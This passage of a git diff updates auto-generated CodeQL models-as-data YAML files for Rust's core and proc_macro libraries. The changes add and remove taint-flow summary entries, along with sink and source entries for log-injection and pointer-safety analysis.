"Argument[self].Field[crate::sync::atomic::AtomicU8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU8::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicUsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicUsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicUsize::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::from_pin_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::get_pin_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::get_pin_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::exclusive::Exclusive::inner]", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::task::poll::Poll::Ready(0)]", "value", "dfc-generated"] @@ -1455,7 +1898,6 @@ extensions: - ["lang:core", "::local_waker", "Argument[0]", "ReturnValue.Field[crate::task::wake::ContextBuilder::local_waker]", "value", "dfc-generated"] - ["lang:core", "::waker", "Argument[0]", "ReturnValue.Field[crate::task::wake::ContextBuilder::waker]", "value", "dfc-generated"] - ["lang:core", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] - - ["lang:core", "::clone_from", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] - ["lang:core", "::data", "Argument[self].Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::task::wake::LocalWaker::waker]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::data]", "value", "dfc-generated"] @@ -1468,12 +1910,12 @@ extensions: - ["lang:core", "::new", "Argument[2]", "ReturnValue.Field[crate::task::wake::RawWakerVTable::wake_by_ref]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[3]", "ReturnValue.Field[crate::task::wake::RawWakerVTable::drop]", "value", "dfc-generated"] - ["lang:core", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] - - ["lang:core", "::clone_from", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] - ["lang:core", "::data", "Argument[self].Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::task::wake::Waker::waker]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::data]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::vtable]", "value", "dfc-generated"] - ["lang:core", "::vtable", "Argument[self].Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::vtable]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1506,6 +1948,7 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::time::Duration::secs]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::time::Duration::nanos].Field[crate::num::niche_types::Nanoseconds(0)]", "value", "dfc-generated"] - ["lang:core", "::saturating_mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::downcast_mut_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::downcast_ref_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::downcast_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1539,6 +1982,7 @@ extensions: - ["lang:core", "::to_degrees", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -1566,6 +2010,10 @@ extensions: - ["lang:core", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1592,6 +2040,10 @@ extensions: - ["lang:core", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1621,6 +2073,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1679,6 +2138,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1741,6 +2207,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1803,6 +2276,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1865,6 +2345,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1927,6 +2414,13 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1989,16 +2483,25 @@ extensions: - ["lang:core", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_bytes_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_mut_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_utf8_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_utf8_unchecked_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rsplitn", "Argument[0]", "ReturnValue.Field[crate::str::iter::RSplitN(0)].Field[crate::str::iter::SplitNInternal::count]", "value", "dfc-generated"] - ["lang:core", "::splitn", "Argument[0]", "ReturnValue.Field[crate::str::iter::SplitN(0)].Field[crate::str::iter::SplitNInternal::count]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2073,6 +2576,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2160,6 +2669,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2179,6 +2694,7 @@ extensions: - ["lang:core", "::full_mul_add", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::full_mul_add", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::full_mul_add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::cast", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -2247,6 +2763,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2259,6 +2781,7 @@ extensions: - ["lang:core", "::disjoint_bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::steps_between", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::steps_between", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::cast", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -2327,6 +2850,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2417,6 +2946,12 @@ extensions: - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_u8", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u128", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::to_u64", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -2554,9 +3089,6 @@ extensions: - ["lang:core", "crate::iter::sources::successors::successors", "Argument[0]", "ReturnValue.Field[crate::iter::sources::successors::Successors::next]", "value", "dfc-generated"] - ["lang:core", "crate::iter::sources::successors::successors", "Argument[1]", "ReturnValue.Field[crate::iter::sources::successors::Successors::succ]", "value", "dfc-generated"] - ["lang:core", "crate::mem::copy", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::mem::replace", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::mem::replace", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] - - ["lang:core", "crate::mem::take", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "crate::mem::transmute_copy", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::num::flt2dec::estimator::estimate_scaling_factor", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::num::flt2dec::strategy::dragon::format_exact", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -2584,8 +3116,6 @@ extensions: - ["lang:core", "crate::panic::abort_unwind", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "crate::ptr::from_mut", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "crate::ptr::from_ref", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::ptr::replace", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "crate::ptr::replace", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:core", "crate::ptr::with_exposed_provenance", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::ptr::with_exposed_provenance_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::slice::index::range", "Argument[1].Field[crate::ops::range::RangeTo::end]", "ReturnValue.Field[crate::ops::range::Range::end]", "value", "dfc-generated"] @@ -2598,3 +3128,41 @@ extensions: - ["lang:core", "crate::str::converts::from_utf8_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::str::converts::from_utf8_unchecked_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "crate::str::validations::next_code_point", "Argument[0].Element", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:core", "<[_]>::select_nth_unstable", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "<[_]>::select_nth_unstable_by", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "<[_]>::select_nth_unstable_by_key", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "<_ as crate::clone::uninit::CopySpec>::clone_one", "Argument[1]", "pointer-access", "df-generated"] + - ["lang:core", "::force_mut", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "::index", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::digit", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::take", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::map", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:core", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::expect_err", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "::unwrap_or_else", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::mem::transmute_copy", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "crate::panicking::assert_failed", "Argument[3]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::assert_matches_failed", "Argument[2]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::panic_display", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::panic_str_2015", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::panicking::unreachable_display", "Argument[0]", "log-injection", "df-generated"] + - ["lang:core", "crate::slice::sort::select::partition_at_index", "Argument[1]", "log-injection", "df-generated"] + - ["lang:core", "crate::slice::sort::stable::drift::sort", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "crate::slice::sort::stable::quicksort::quicksort", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:core", "crate::slice::sort::stable::sort", "Argument[0]", "pointer-access", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:core", "<[crate::mem::maybe_uninit::MaybeUninit]>::assume_init_drop", "Argument[self]", "pointer-invalidate", "df-generated"] + - ["lang:core", "crate::intrinsics::drop_in_place", "Argument[0]", "pointer-invalidate", "df-generated"] + - ["lang:core", "crate::ptr::dangling", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["lang:core", "crate::ptr::drop_in_place", "Argument[0]", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-other.model.yml b/rust/ql/lib/ext/generated/rust/lang-other.model.yml new file mode 100644 index 00000000000..5c88c935851 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/lang-other.model.yml @@ -0,0 +1,8 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["lang:other", "::set", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:other", "::unset", "Argument[0]", "Argument[self]", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml b/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml index 8f45f5773b4..8c26b521233 100644 --- a/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-proc_macro.model.yml @@ -49,18 +49,28 @@ extensions: - ["lang:proc_macro", "::mark", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::unmark", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::into_token_stream", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:proc_macro", 